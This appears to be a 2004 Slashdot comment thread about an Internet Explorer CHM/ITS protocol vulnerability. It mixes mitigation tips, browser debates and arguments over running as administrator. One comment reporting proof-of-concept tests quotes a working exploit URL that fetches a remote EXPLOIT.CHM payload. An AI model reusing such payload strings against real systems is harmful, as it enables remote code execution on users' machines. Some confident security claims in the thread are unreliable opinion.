[Anonymous Coward]

Wooohoooo! So that is the userfriendly Windows everyone is talking about!

Re:Administrators: quick fix

[AnonymousDot]

To save the original keys, do the following:
Launch Regedit (Start, Run..., regedit)
In Regedit, to to HKEY_LOCAL_MACHINE > SOFTWARE > Classes > PROTOCOLS > Handler.
Click on Registry, Export Registry File...
Enter the file name (chm-restore.reg) and select Win9x/NT4 Registration Files (REGEDIT4) in the Type list (this is to save in ASCII, otherwise it's in Unicode).

Re:Administrators: quick fix

[prandal]

Until the JScript and WSH vulnerabilities come along ;-)

You can run WSH scripts from withing KiXtart scripts. I prefer KiXtart. It is so much easier to write, read, and understand. And just to keep us all happy, it's written by a Microsoft guy.

Re:Administrators: quick fix

[cubic6]

It's worth to mention that this will disable lots of functionality of the Help system, so if you actually use Help, don't do this patch!

Pico?

[Capt'n Hector]

What about pico?

Re:Pico?

[theparanoidcynic]

Hey, you can be a real hacker and use pico! I'll prove it, er, as soon as I'm a real hacker . . . . .

Going to be!?

[shad0w47]

It seems that this is going to be an ugly one. I always already thought this IE thingy was an ugly one, even without this bug?

I wonder...

[Ruliz Galaxor]

how to format my harddisk. Maybe Windows-help can provide me with some support. *clickety-click*

sig(h)

WAIT!!!

[The Ancients]

we haven't finished talking about the OS X security hole. Damn MS always has to get market dominance in everything they do...

if you use linux

[circletimessquare]

you will be afraid too

and being afraid is a GOOD thing

it makes you vigilant

there is no system out there that is 100% virus proof

so don't make excuses to lull yourself into a false sense of security

always be vigilant, and you will minimize your risk of being infected

it will never be 0, no matter what os you use, no matter what you do

Re:if you use linux

[t_allardyce]

So you're saying instead of using 3 inch thick blast doors and a security sytem that could detect an ant trying to get in, we should just sleep with the windows and doors open.

Re:if you use linux

[krel]

How windows-minded. It will never be 0? The impossibility of avoiding infection is a fundamental quality of the universe? No matter what one does, Linux nor any OS can be completely secure?

Wouldn't you agree that in any piece of code there is a finite number of buffer overflows, security oversights in any protocol, or incorrect configurations in any computer component? If there are indeed a finite number of security problems in any system (however huge that number might be), then surely it's at least possible to build a system from the ground up with no oversights or weaknesses at all.

A lot of friends have told me exactly the same, that viruses and such are fundamental concepts in computing, and it's sad to think that Microsoft has gotten its hooks so deep.

mozilla is not going to save you

[anthony_philipp]

NOTE: Using an alternate web browser may not mitigate this vulnerability. It may be possible for a web browser other than IE on a Windows system to invoke IE to handle ITS protocol URLs.

yeah its a bigger problem than just IE another web browser or email client may end up doing you in. best get off that windows box. ;)
anthony

Re:mozilla is not going to save you

[MrNonchalant]

Actually it's simpler than that. *reboots, chooses Red Hat in the menu* Ahhh, secureness.

ie rants

[bmac]

I use a "custom level" for my internet zone. I basically turn off *everything*. I don't need java, and "active scripting" should be re-worded to say "give web pages access to God-knows-what?".

Besides, I really despise the "AppletTransition Sensor" that ESPN and other sites use. Screw `em. Just give me the dang HTML and, please, IE, just render it for me. No code, no scripts, no popups, no crap.

Websites that require JavaScript piss me off. The stupid Washington Post can't even render a page without JavaScript. What a terd.

Now, if only I could get IE to stop displaying the "Your browser doesn't allow ActiveX controls" message that pops up on pages where the designer used some crap control. I've made ActiveX controls and I *know* they can do anything they want on my system. Arg.

And wtf is with "install desktop items"? This is a *web* *browser*, not the control panel, for crying out loud.

And, last but not least, when I disable all this crap and then hit apply, it gives me a confirm warning message, but when I (because I need to use JavaScript on some crappy page) restore the default "cheap-whore-mode" settings, it doesn't say a word! Nice emphasis, Microsoft.

Yeah, I know, use a different browser (or OS), but we all know Windows is *designed* to not interoperate well with those things, right? Sometimes, it wastes time to try to fight inertia.

Anyhow, my feeling is that the desktop situation on Linux and BSD won't be solved until X is ditched completely. Just give me the dang screen buffer(s) and some basic routines and I'll draw my own shtuff. X is a 25-year-old terd, designed for machines with, like, 4k of memory (warning: hyperbole). Just give me font, line, point, ellipse, bitblt and friggin window data structures -- straight to the video card. And access to the video card reg's would be nice too.

End of Rant, enjoy your day.

Peace & Blessings,
bmac

Re:ie rants

[nuffle]

Yeah, I know, use a different browser (or OS), but we all know Windows is *designed* to not interoperate well with those things, right? Sometimes, it wastes time to try to fight inertia.

In other words, it's easier to complain than do anything about it.

Sounds like the lynx browser (or links, w3m, etc) is right up your alley. Lots of other people who share your distaste for browser bloat do. Microsoft doesn't really care too much about those people who say "Ugh, Microsoft IE sucks! Oh, yeah, I still use it though". It's only until people say "IE sucks, that's why I use [whatever] instead" that they'll pay attention.

Funnel your enthusiasm into trying some different browsers that fit your needs. Donate some time or money, maybe, to an open source browser you do like.

At this point, though, a "IE is lame" post doesn't really contribute much to the discussion. Or have I been trolled?

Re:ie rants

[bmac]

Well, I'd like to say that I contributed by saying that ie users should use a custom zone and disable everything. I did that before the advisory, due to intuition based upon 20 years experience.

And, as far as spending my time finding something that can replace ie, well, as my post said, interoperability is something microsoft designs against. From the days of "DOS ain't done `till Lotus won't run" to the DOJ's antitrust case, the song remains the same.

And the reason that I'm not spending my time trying to wedge a square peg browser into the irregular-pentagon-shaped beast that is Windows is that I *am* spending my time trying to create something better. But I'm dang sure not going to give it away. Why? I've got hungry mouths to feed! And truth to spread. And buildings to build and stuff like that.

Why in the world would I let the corporations of the world who have enslaved the world to their "bottom-line" benefit from my software. I love the people in the open-source movement -- in theory, it's truly beautiful. In practice, however, the corporations are using that brilliance to further their world dominance. So I say, fight fire with fire. If they want to use my software, they're going to pay a premium for it, or break copyright law to use it for free.

When I can use their communication networks for free, eat their food for free and live on their land for free, they can use my software for free.

In a perfect world, all software and hardware would be open-source; but my 34 years has taught me the hard way that we are dang near in the antithesis of a perfect world.

Peace & Blessings,
bmac

Re:ie rants

[bmac]

Yes, I'm as familiar with X as one can be after programming with it professionally on Sparcs back in the day (92'ish). How many volumes were in the Xlib reference set? Like 6, plus that God-aweful Motif stuff. Blech.

Yes, *every* window manager / windowing toolkit gives that functionality, but X's underlying layer is network-based, so getting the Display and Screen handles is a level of abstraction better done away with, IMO.

Peace & Blessings,
bmac

Re:ie rants

[42forty-two42]

Anyhow, my feeling is that the desktop situation on Linux and BSD won't be solved until X is ditched completely. Just give me the dang screen buffer(s) and some basic routines and I'll draw my own shtuff. X is a 25-year-old terd, designed for machines with, like, 4k of memory (warning: hyperbole). Just give me font, line, point, ellipse, bitblt and friggin window data structures -- straight to the video card. And access to the video card reg's would be nice too.

And how do you plan to synchronize between multiple programs? A server process mediating between the processes and the video hardware would do it - but isn't that X?

Re:ie rants

[roca]

Actually, according to the CERT advisory, turning of Javascript and ActiveX does not close the vulnerability. So despite your precautions you're actually still vulnerable.

Re:ie rants

[Alric]

You may have years of experience in CS, but I think your logic is skewed. You seem to be saying that you have tried to resist MS in the past, and it's too dificult. Now you've just relinquished the good fight. First, if that's your choice, stop complaining. Secondly, those noble developers in the Open Source movement have done a pretty great job, and free software is becoming very usable and better than MS software in some cases. You should reconsider your choice.

Right now, I use WinXP Pro as my desktop OS, and my primary development languages are C# (.NET) and T-SQL (MS SQL Server 2k). I'm an MCSD .NET and MCDBA; I have tied my career pretty closely to the success of Microsoft's platform.

However, I still use Mozilla for browsing, because it is a far superior product. My goal is not to kill Microsoft. My goal is to have good software running on my system. If the developers at Mozilla can create a superb product, I'm going to use it. I'm sure that MS will respond with IE 7/2005, but if that new version doesn't have features like tabbed browsing, built-in (and good) popup-blocking management, and a SideBar for which I can easily write my own tabs, then I might just stick with Mozilla.

While I only use a couple pieces of Open software, Linux for a very basic DNC/Mail server and Mozilla for web browsing, I love the Open Source movement. Ignoring the idea that free (as in beer) software is good for less wealthy countries and people, think about the actual management of these Open projects. They can innovate and adapt so much more quickly than a large corporation like MS. If for no other reason, I love Open Source software and use it when appropriate, because it forces MS to be better.

And that's what matters most to me: having good, stable software that let's me do my job.

Re:ie rants

[jskiff]

Once word: Firefox

Re:ie rants

[bmac]

You seem to be saying that you have tried to resist MS in the past, and it's too dificult. Now you've just relinquished the good fight.

Well, I haven't relinquished the good fight, as you say; I am merely waiting for the other browsers to mature. When I tried Netscape in the pre-Mozilla days, it was a nightmare, and I just haven't felt like investing the effort in trying to get Mozilla working on my machine. Also, I assume that I will have to rather regularly update it, as by my peripheral internet-reading, it is still a work-in-progress. Now, while I truly despise IE, it requires no work on my part to keep going, so, in that respect, its being bundled with my OS makes it simpler and more time-effective for me.

So, as we are using the same platform for our desktop OS, can you recommend Mozilla as a stable and well-rendered browser? I mean, does it crash? Would it be a waste of my time to put it on my machine? How much upkeep would I have to do?

Second, I whole-heartedly agree with your love for open source, and I have great respect for those folks. The instant, I mean the nano-second, I can run a viable development desktop on top of FreeBSD, I will jump on it. No doubt. But, to me, it's about maturity. And as much as I want 3rd world countries to have access to free software, the damage for-profit corporations do to those countries is horrendous. I feel it would be best to make the for-profit corporations pay for the software that allows their machines to clunk along. And, should I ever release software of my own, I don't see any reason that I can't give it away to needy and/or socially-conscious folks while charging the baddies for it at the same time. Sure they could rip me off, but that karma may just come back to bite `em in the ass.

Peace & Blessings,
bmac

Re:ie rants

[bmac]

Thanks is too small a word.

Peace & Blessings,
bmac

Re:ie rants

[Zirtix]

can you recommend Mozilla as a stable and well-rendered browser? I mean, does it crash? Would it be a waste of my time to put it on my machine? How much upkeep would I have to do?

How many recommendations do you need? Slashdot is practically a Mozilla advocacy blog. Take it from me: Mozilla is a very stable, secure and usable product on Windows. Its rendering is near-flawless. It costs $0.00. What have you got to lose by trying it out?

BTW, you don't need to work hard to keep 'up to date'. I'm using Mozilla 1.6 from months ago and there are no vulnerabilities in it.

Re:ie rants

[bmac]

Thanks, but I actually just installed FireFox, and am *very* impressed.

*Homer voice* Mmmm, tabbed browsing...

Peace & Blessings,
bmac

Re:ie rants

[kbrannen]

Yeh, X is network based, and if you've really used it in a commercial setting, you wouldn't be saying to remove the network part of it. You may not use it at home, or even on your desktop at work, but for the rest of us it's invaluable.

I can't count the number of times I've work with X based apps on a server that was headless, or where the server was in a room I couldn't get to, so displaying back to my desk was the only way to get it to work. Or being amazed the day I was sitting Manhattan when my boss called me from Tokyo and gave me the IP of a machine there for me to set my DISPLAY to and for me to run a demo app that was only on my machine...and it worked! (OK, it was as slow as molassis in January but it allowed him to demo a tool to someone that needed to see it, and they didn't have my hardware there.) And then there's all the times I've had to install some product (like Oracle that uses a Java Swing interface) on a machine in branch offices (saves a lot on trips).

You may take this all as a flame, and I suppose I mean it as a very mild one, but please wake up and smell the coffee--geographically dispersed work is here to stay, and just because you don't use a major feature doesn't mean it should be ripped out. I am so thankful the X team realized this sort of thing was useful and built it in to X-window.

Re:ie rants

[bmac]

Two possibilities here:

1) You are one of the few, the proud who can call themselves "1337".

2) The other, less likely possibility, is that this is a manual virus, in which case I say "nice try" :-)

Regardless, there's no way on earth I'm going to edit my dll. Thanks anyway.

Peace & Blessings,
bmac

Re:ie rants

[bmac]

While I agree with the utility of this, I disagree on the architecture. I would prefer a design where local users didn't pay the performance penalty for the network abstraction. I think that if the core kernel manager is coded properly, adding a network interface on top of that would be the proper way to do things, instead of the other way around. That way, a local desktop-style user doesn't pay for something they never use. On the rare occasion that a power user needs remote functionality, the local user (via SSH perhaps) just starts the "server" process (which must be tightly coupled with the owner of the video device) which can facilitate remote windows.

I don't see why *everything* has to have a network substrate. Is it not possible that Unix's failure to grab game market share has a bit to do with the difficulty of getting "on the metal". I mean, I imagine Doom 3 needs direct access to the video card's 3d registers, and I don't really see that possible under X (and if Doom 3 doesn't directly, then the opengl engine certainly *does*). At least, it would be a kludgy solution. I think that X fails this because 3d hardware was in its infancy as late as 93/94. I was a mainframe help desk guy at UVa where we had a room full of SGI Irix machines. Massive money was spent on that room, but those were a serious rarity in terms of the graphics hardware. X was just not designed from the ground up to interface smoothly with such hardware ~ everything ends up as an ugly kludge.

Also, my experience with the Xlib interface is that it is in serious need of refactoring.

Peace & Blessings,
bmac

Re:ie rants

[bmac]

How could you write a virus in just 15 bytes anyway.

It wouldn't be a "15 byte virus", it would be a dll-sized virus that behaves badly because of 15 changed bytes :-)

Just because you're paranoid...

Peace & Blessings,
bmac

Mod Parent UP!

[Chordonblue]

Where's my friggin points when I need them?

Look, this is absolutely true. There is still plenty of software out there that breaks under W2K/WXP when not run as a local administrator.

And forget 'looser' environments. I run a network at a private school. Care to take a guess how much educational software cares about following the rules properly? Grrr!!!

Re:Mod Parent UP!

[snkline]

Even the difference between NT4 and XP causes problems. When we were migrating from NT to XP at my old job we came across a problem with AutoCAD Architectural Desktop. The program ran, but certain program options didn't work properly (for adding things like light fixtures)

As I dug into what the problem was I was amazed at how poorly designed AutoCAD AD was! Everytime it runs it wants to write registry data into HKLM\Software\Autodesk\.... instead of HKCU\Software\Autodesk\.... where it belongs. Now I thought I could work around this problem, by simply giving users write permission on the Autocad tree. Nope, not only where they trying write to HKLM, but they were opening the Software key, and writing from there (Open Software for writing, write Autodesk\AutoCAD AD\example) But even though the data being written is below the software key, you still can't open the Software key explicitly for writing. ARGG! And of course this problem was with the upgrade that was bought specifically because it was an upgrade for Windows XP! Autodesk didn't even seem to care...

Re:Mod Parent UP!

[PhiltheeG]

Or even newer games like Activision's Call of Duty that requires "Administrator Rights" just to play. Found that out the other day when I installed it for my son. I would prefer his user ID not to have those permissions, since he has already downloaded a couple of adware/spyware nasties by downloading mod's for those games. I don't see why a freakin' game needs those rights after it has been properly installed, configured and run.

I also work at a college and will second the educational software complaints, as some pre-date even NT (some just won't give up those wonderful CGA DOS tutors).

Re:Mod Parent UP!

[Gojira Shipi-Taro]

Probably needs those rights so that it's copy protection scheme will work. The "protection" probably wants to be able to make sure that there's no debuggers or cracking software that would cirucumvent it running, and can't do that if it's run as a normal user.

I'd argue that it should NOT be allowed to do that, and that publishers overstep their rights when they intrude on system security like that (and should be held liable)...

Re:Mod Parent UP!

[widderslainte]

Absolutely. We recently upgraded out Accounting department to XP because the updates to their main accounting software package (Timberline) required 2000 or XP. And the @#$%^&*( software requires users to run as local administrators!

Re:Mod Parent UP!

[netdudeuk]

Microsoft hardened the security in Windows 2000 (and consequently, Windows XP). That is more than likely why the older software does not work as it should.

If it's essential to run an old app, it's not hard to work out what older apps need to access (using regmon, etc) and then use GPOs to slightly reduce the security. Or, just use the supplied compatws template (with a GPO if you want) to drop the settings back down.

People can't say Microsoft code is insecure and then complain when they harden it.

Re:Mod Parent UP!

[Chordonblue]

Er, you know, a lot of times we're not even talking about old software. There's some very NEW software that doesn't follow the rules right.

It's technically not MS's fault, but it doesn't help me or my .org's situation.

Re:Mod Parent UP!

[red floyd]

Hell, not just games, but FUCKING TYPING TUTORS....

Mavis Beacon Teaches Typing 15 claims 2K/XP compatibility, but you MUST be admin to run it. I returned it.

Re:Mod Parent UP!

[Spoing]

1. A tip for the newbie NT Admins out there -- go to www.sysinternals.com and get regmon and filemon.

Hell, get all of the tools there. Also, Dependency Walker. If you have *nix experience, you know what a dependency is. Windows does not manage dependencies, leading to a vast number of problems.

Note: The tools on sysinternals.com are often flagged as viruses/trojans by some virus detectors. Thus, the tools will be erased or shuffled off to another directory around the time you place them on the drive. Very annoying.

That they are flagged as viri is partially true, though. Trojans and viri do tend to bundle these tools because they are so powerful...though the tools by themselves are very handy and are not designed for evil (think automobile; sunday driver vs. GTA wannabe).

Re:Mod Parent UP!

[Chordonblue]

You know, your 'libery' sig taken in context of that post, is pretty funny. :)

Re:Mod Parent UP!

[JamieF]

Yet another example of software that won't run unless you have local admin privileges: Microsoft Outlook 2000 (on Win2k, at least). The first time you run it after installing it, you have to be logged in as an administrative user. This fairly well sucks because if you just run the Office installer and then log out and let the primary user of the machine (who is not a local admin) start using their computer, they will swiftly run into problems getting Outlook to start. IIRC, the error message isn't very useful. It's not a big problem because you just learn to either run Outlook yourself immediately after installing Office and rebooting, or do that and then image it so you never have to do it again. But I think it's noteworthy that it's not just random rogue apps that need local admin access for seemingly non-administrative things.

My solution in the past to this and all the other software that for one reason or another needs admin privs is to just make the user a member of the local admin group. No, it's not ideal, and I guess I could have spent hours putzing around with registry keys and resource kits and trying to avoid this but it's just not worth it. Installing a self-updating virus app makes the majority of scary issues like this go away. At a company where someone I know works in the IT department, they have an ultra-locked-down standard desktop image, and it's a pain in the butt because they have to hold the user's hand all the time and users can't even change their desktop image. I guess it's a matter of how many users you have, how different their PCs' setups need to be (vs. one universal image) and how much you trust them to not hose their own machines.

I wonder which would require more administrative overhead:
- a policy of not letting users be local admins on their machines (accompanied by all the administrator laying-on-of-hands that this policy would require) or
- a policy of users being local admins + an antivirus app + solving the occasional problem with a user screwing up their own machine or needing a machine rebuilt because some exploit used their local admin status to do somehing that a non-admin can't do, including possibly needing to reimage their machine and restore from backup.
Basically it's a question of risking a few big inconveniences vs. guaranteeing a larger number of little inconveniences.

Anybody got experience with this?

I suspect that there's a certain amount of overhead that's required to make the no-local-admin solution work, and if you have enough users, it'll actually save you support time because once you set it all up and image it and document the problems that will occur, you won't have to spend as much time as you would have to spend undoing the horrible things that users have done with all their adminny powers.

Re:Mod Parent UP!

[vietbob]

Absolutely! You can say "it won't work" and put up your shields, you can create an administrative account and hope they don't realize they're administrators, you can run-as with the same problem. No easy answer. And running a network for kids is more challenging in many respects - the kids tend to be more inquisitive and less fearful of computers than adults. Meanwhile the staff are constantly finding new software they want to install. I feel your pain!

But but but...

[Jesrad]

...but Mr MS-Security himself said that there were NO exploits prior to the security patches !

Re:But but but...

[kilfarsnar]

Everyone in the world needs to click on the link in your sig. It really is that simple.

Re:I know, I know..

[hdparm]

There is a real security problem on the Internet, one that is making a joke of the "information highway", and it's almost entirely caused by vulnerabilities like the one reported here.

I'd argue this one. Vulnerabilities are only result of more than a decade of totally iresponsible behaviour of Microsoft. More $$$, no matter what. That's the real cause.

Re:Windows has problemss...

[Anonymous Coward]

Yes, but Microsoft makes a claim that Windows XP will successfully run DOS games. Quake crashes with an error. Unless you use a third-pary emulator, it's nigh impossible. Here's some of the output that I get:

C:\>ver

Microsoft Windows XP [Version 5.1.2600]

C:\>\QUAKE\QUAKE.EXE
Quake v1.01
Locked 1 Mb image
Locked 11 Mb data
malloc'd: 11776000
Exiting due to signal SIGSEGV
General Protection Fault at eip=00043a47

Re:I know, I know..

[houghi]

"Microsoft = insecure" is an association that should be sending shivers down the backs of those marketing managers trying to bomb the web with billions of Microsoft adverts.

I think they will shiver not of fear, but of lust.

source code leak?

[qqqqarl]

does anyone know where this exploit originated?

is it, perchance, related to the recent windows source code leak?

K.

What browser to use?

[Serious Simon]

Using an alternate web browser may not mitigate this vulnerability. It may be possible for a web browser other than IE on a Windows system to invoke IE to handle ITS protocol URLs.

What browsers do not invoke IE to handle ITS protocol URLs? If I use Mozilla for example, could I still be vulnerable to this security hole?

Re:What browser to use?

[pedrop357]

I played with fire and tested the PoC found here

In IE, it copied itself over wmplayer.exe, SFP copied the original back, but that was enough for me. Firefox 0.8, OTOH, didn't budge and nothing happened to wmplayer.exe. Same thing with Netscape 7.1 and Opera 7.23.

At least in this case, IE seems to be the only one.

Re:What browser to use?

[Isaac-Lew]

You *may* be vulnerable if you have the network.protocol-handler.external.ms-help parameter in about:config set to true (at least on mozilla 1.7b). The default is false. I'm not able to test this out right now, can anyone verify this?

Re:Windows has problemss...

[plugger]

You tend to be more forgiving of a system that offers you a stake in itself, even if that stake is limited to helping others and the odd bug report.

I'm unforgiving of Windows because it is produced by a large corporation making megabucks, and they still havent ironed out some of the annoying misfeatures. Not to mention Office product activation only working for administrator. Bah.

Again? This is the last straw.

[tekrat]

That's it! I'm buying a Mac!

"The more I use Windows, the more I love my Commodore 64"

Re:Again? This is the last straw.

[t_allardyce]

They even spread IE to the mac! i have to get a site working on it and i have to say, its the most disgusting non-standards compliant browser ive ever seen! its 10 times worse than IE on windows, as far as im concerned it should be taken off the OS immeadiately with the next patch and anyone who isnt using safari already i will personally vist and whip them to within an inch of their lives using their own power cable.

sims Re:Privilege level

[Anonymous Coward]

games require you have admin access to work, i.e. The Sims (god knows why)

That is for the copy protection to work properly.

God.

the only way

[weekendwarrior1980]

for MSFT to survive in the future will be open sourcing critical sections of the OS. I mean windows XP is a huge piece of software, the real cost is in maintaining it not necessarily production. Now imagine longhorn and how much it tries to accomplish. I dont see MSFT being able to afford it single handedly in the future. Especially if MSFT wants to position itself as a company that is selling a software that is not only ubiquitous but secure as well.

Re:the only way

[TioHoltzman]

I dont see MSFT being able to afford it single handedly in the future

Then you severely underestimate the power that 50 Billion dollars in the bank gives you.

Re:the only way

[weekendwarrior1980]

Actually, spending 50 billion dollars to maintain the software probably wouldn't be a good financial decision.

Not the point

[bangular]

That's not the point. MS has tried to lead the public to believe that there's never been an instince of exploit code before their patch. And obviously if there's exploit code out there, something already "really bad" has happened. This comes after the witty worm spread before ISS had patches for their products.

On a related note, MS pretty much NEVER releases advisory's on their own will before a patch. There almost always has to be a 3rd party that has said they are going to go public, or there have to be exploits or information in the wild. With that information, I wonder if this exploit is related to the windows source leak. The source leak had a lot of IE code, and if there are exploits in the wild before MS could even send out an advisory. That would lead me to the possiblity that the windows source leak could be the source of this one.

Re:Not the point

[Vancorps]

The code was for IE5, this is very unlikely. And a patch is available, its called shutting off the help sub-system. With Windows 2000 and XP it is a service, one which I never use, although I'm sure some people do.

As for MS statements about exploits, well... everyone knows that's just plain silly. Right now there is an Exchange vulnerability listed on CERT that contains no patch and several known exploits, has been that way since November.

This is yet another occasion to teach everyone how to run as a user in Windows and not as Administrator. Almost everything is negated or at least mitigated when they are just normal users. Sure it could wipe out their own documents, but it couldn't effect any others and certainly couldn't harm the operating system.

I see this problem a lot on every platform, generally I think people like to feel in control all the time

Re:Not the point

[drsmithy]

Almost everything is negated or at least mitigated when they are just normal users.

This is a specious, deceptive assertion bordering on irresponsibility. Nearly everything a virus/worm/trojan will want to do, it can do as a regular user. Nearly everything a victim will care about a virus doing, it can do as a regular user.

This is not to say people should be running as Administrator, but to say - or even imply - that doing so will protect them (or anyone else) from anything more than a tiny proportion of a virus/worm/trojan's negative effects is tantamount to lying.

Sure it could wipe out their own documents, but it couldn't effect any others and certainly couldn't harm the operating system.

I realise it's seen as kinda cool to pretend you're responsible for some massive multiuser system and if one of the peons does something stupid and wipes themselves out that's ok, because no-one else is affected and the OS files are untouched, but that's not how the majority of the world works.

Out in the Real World, machines are typically used by one person. The only files on that machine, or accessible via the network, that person (and their boss) cares about, are the ones they spend all of their time working on and any virus running as them will have full access to. A bunch of OS binaries, that can be reinstalled from a CD in anywhere from a few minutes to a few hours, barely even count as inconsequential when compared to the last 6 months, or even the last few days *actual work*.

Re:Not the point

[kunsan]

While I agree with what you say, there are issues when logging in as a restricted user. Specifically, many applications simply will not function unless they have admin privs. I consider that to be a complete and total fuck up by the developers!

Regards
jp

Re:Not the point

[Foolhardy]

That's why I browse with a different user account than my actual documents are stored in. It's really quite easy: I click the web browser icon (or whatever program that doesn't need to access my documents) and it transparently uses a su script (you can also use runas.exe that comes with Windows) and voila, my documents are protected from the program since it's running as another user, side by side my other programs.

Out in the Real World, machines are typically used by one person. The only files on that machine, or accessible via the network, that person (and their boss) cares about, are the ones they spend all of their time working on and any virus running as them will have full access to.

One human user does not have to use only one computer account; running different types of programs as different users will do exactly as the grandparent stated.

I do the same thing on Linux too.

Re:Not the point

[innocent_white_lamb]

Sure it could wipe out their own documents, but it couldn't effect any others and certainly couldn't harm the operating system.

That's nice.

The user's data and documents is the stuff that he wants to keep. The operating system itself isn't that important -- reinstall from the original CD's or whatever.

"All you can lose is your own data." Well, it's my data that I want to keep! Who gives a rat's rear if the computer still boots; if all of your data is gone it's of little value. "Ooh, wallpaper -- it's so pretty."

Re:Not the point

[cheerios]

oye. you're telling me that in order to use windows "safely" I need a different USER for every application I want to run? That just seems... ridiculous. I consider myself a competent computer user, and I'd have no clue how to set myself up to do this, let alone how to explain to my family how to do so. that's an unreasonable expectation of the user, to say the least.

Re:Does that matter if we don't have IE's exe file

[d3am0n]

Thanks, I always did rather wonder about that, of course getting rid of the exe file itself means that almost all of the programs that annoyingly try to call it up without my consent come up empty handed. So for me it was still worth it to tear out the exe files.

Dear Microsoft..

[adeyadey]

Why did you make it so bloody difficult to switch off html content in recieved Email text? AT best, it meant bandwidth guzzling spam, at worst viruses you didnt even have to open to catch..

As to browser/plug-in vulnerabilities, it may never be possible to eliminate them all, there are just too many niches for a virus to gain foothold.

Re:Dear Microsoft..

[bitflip]

They fixed it, it just took them about nine versions.

(MS Outlook 2003 disables HTML content quite well.)

Re:Dear Microsoft..

[thechink]

It's not hard in Outlook Express. There's been an option to read email in plain text for quite some time now.

Re:Dear Microsoft..

[adeyadey]

Ok, but I think even up to XP the view-pane is on by default - and it displays every message in glorious full rich text/html/virus-buffer-overflow format!

If you look at the technical steps that the average novice is expected to take to protect themselves from attack.. Its just a joke! I just want to recieve messages in basic text format - maybe with the odd clickable link. I dont want bitmaps, animations, movies, music..

I have a thing about bloatware too - ok sure, make features available as extras, but otherwise keep the basic setup small, fast and simple. (see my www pages for my code..) Small, lean apps have less vulnerabilities too. You know at one time, Windows 3.1 was distributed on 6 floppies - add an extra floppy or 2 for Win32s, thats the complete basic 32 bit Windows API! The reason why MSDOS caught on originally was that it was actually fast and lean, at least in version 2.0-3.0..

Even Linux suffers in this regard these days..

Ha! You Linux zealot!

[jotaeleemeese]

There you are, all your user friendliness rubish, that Linux is ready for the desktop.

How would Joe Average, Jose Sixpack, Aunt Tillie, your Mom, my Mom, Granma, Grandpa, the children, would react if faced with such arcane, incomprehensible instructions.

In Windows everything is easy, In Windows everything is one click away.

You Linux zealots are the sux0r.

MS Fanboys....

[jotaeleemeese]

Are you happy now, or do we still need to educate you why modularity is a better design compromise?

Thanks to MS decision to embed IE into everything in WIndows makes Windows a breeding ground fro vulnerabilities.

Quick tests on some Windows XP systems

[Kagami001]

I ran a few quick tests on a couple of different Windows XP systems using the proof of concept exploit code here.

---------
Windows XP Professional Service Pack 1

Mozilla Firebird 0.8 run as limited user: no apparent effect
Mozilla Firebird 0.8 run as administrator: no apparent effect

Internet Explorer 6 run as limited user causes an Internet Explorer Script Error:

Line 47, Char: 5, Error: Write to file failed, Code: 0
URL: ms-its:mhtml:file://C:\foo.mht!http://ip3e83566f.s peed.planet.nl/security/newone/modified//EXPLOIT.C HM::/exploit.htm

Internet Explorer 6 run as administrator: demo exploit runs as expected

A software restriction policy is in place on this machine, forbidding the execution of any executable files (including .chm) in any directories except for the ProgramFilesDir and System directories, but, as you can see, it did not stop the sample code from executing when IE was run with administrator privileges.
------------

Windows XP Professional Service Pack 2 RC 1

Internet Explorer 6 run as administrator: no apparent effect

Fixed in SP2?
---------------

One thing that concerns me about using this particular sample code as a test, is that it seems to rely on having write permission to \Program Files, thus requiring administrator privileges (usually) and thus making limited user accounts appear to be invuelnerable -- but are they? Can a version of this exploit be written that runs even if the user does not have write privileges to the program files and system directories? (Thus giving access to all of the limited user's files.) In such a case, would software restriction policies prevent the execution of the exploit exe even if not stopping the script itself?

Joe Sixpack won't use a PC with "Access Denied"

[Vandil X]

Windows XP sets up its users with full administrator privileges by default and without a password.

The simple Control Panel even hides the management interface to make granular security possible.

The truth is, in order for NT to work in consumer homes, it had to behave just like DOS versions of Windows did.

Joe Sixpack may be computer illiterate, but his dollar is what ultimately fills Microsoft's coffers.

Comment removed

[account_deleted]

Comment removed based on user account deletion

like i said

[circletimessquare]

never lull yourself into a false sense of security

that's when you'll get infected

because you'll find your blast doors have been infested with termites and your security system has been switched off somehow

be always vigilant

Re:like i said

[t_allardyce]

be always vigilant

oh i am! i never leave the house without my bullet-proof vest, my front door is checked for termites atlease twice a day and my cat is paw and retina scanned before i allow him in! Not to mention that i sleep with 2 magnums under my pillow and an M16 under the covers, and i dont hand-cuff my girlfriend for the kinkyness!

Re:Windows has problemss...

[Salsaman]

It turns out that naming things with numbers, letters and seasons must be the most user friendly practice out there.

If this trend continues, their product names will soon be haiku.

Workaround...?

[dargaud]

I don't know about that specific vulnerability, but I always suspected something fishy about the chm files. They can run javascript and whatever else you compile into them with full user priviledge. Yes, I write chm files. I think a workaround is to disable Javascript and other scripting at the local intranet security level in IE options.

Re:Windows has problemss...

[CBravo]

Thanks, I needed that laugh.

Microsoft help?

[kpogoda]

Isn't that an oxymoron? I was reading an interview the other day that Gates has shifted the company's #1 priority from Longhorn to security. This is another major blow for Microsoft. But, since when has the help menu actually ever been useful anyway?

Re:Microsoft help?

[Bambi Dee]

But, since when has the help menu actually ever been useful anyway?

It allows completely innocent newbies to access the Microsoft newsgroups where they might run into "MVP"s with psychic powers who'll help with problems like "im on the computer then erro comes up". I have no idea how they do that.

Big threat? Not really

[Junior J. Junior III]

Considering how seldom the idiot^H^H^H^H^H^H users actually use the help function whre I work, it shouldn't be a problem. It seems they regard the IT Support "Help Desk" as their first place to look when they ought to be using the online Help function in that seemingly invisible menu at the right side of their window.

xpy 0.3

[yathosho]

the new version of xpy has the (temporary?) feature to disable the chm file handling (for those who like it userfriendly or what it's called)

Re:xpy 0.3

[yathosho]

url is http://xpy.sf.net

Works for me and you

[Unknown Poltroon]

But try explaining that to my dad, who cant figure out what program hes sending e-mail from.

Re:Big threat? Not really

[Cousin Scuzzy]

You don't have to use MS's help function to be vulnerable. If you browse a malicious web site using IE or open e-mail with a reader that handles html messages your system could be compromised. Take a look at the CERT advisory.

Do the users where you work not have Internet or e-mail access? Then I guess you are safe.

Re:Big threat? Not really

[bender647]

The IT Support Help Desk? You`re guaranteed to get a virus there!

AUSCERT told me about this last Sunday...

[Mr. Roadkill]

...and although I don't usually deal with Windows vulnerabilities (not my job, lucky me) I felt compelled to take a little mitigating action when I found out about this one. I know it's not a lot, but as I'm one of the guys at work who looks after the web filters I've added a couple of sites to the blocklist. The whole sodding place is full of users who will quite happily follow links in spam, judging by some of the spyware I removed from their desktops in a previous life.

I haven't added many yet, but it's a start.

Now, I just have to try to get manglement approval to add known spyware sites to the list as well...

In Linux-land...

[gosand]
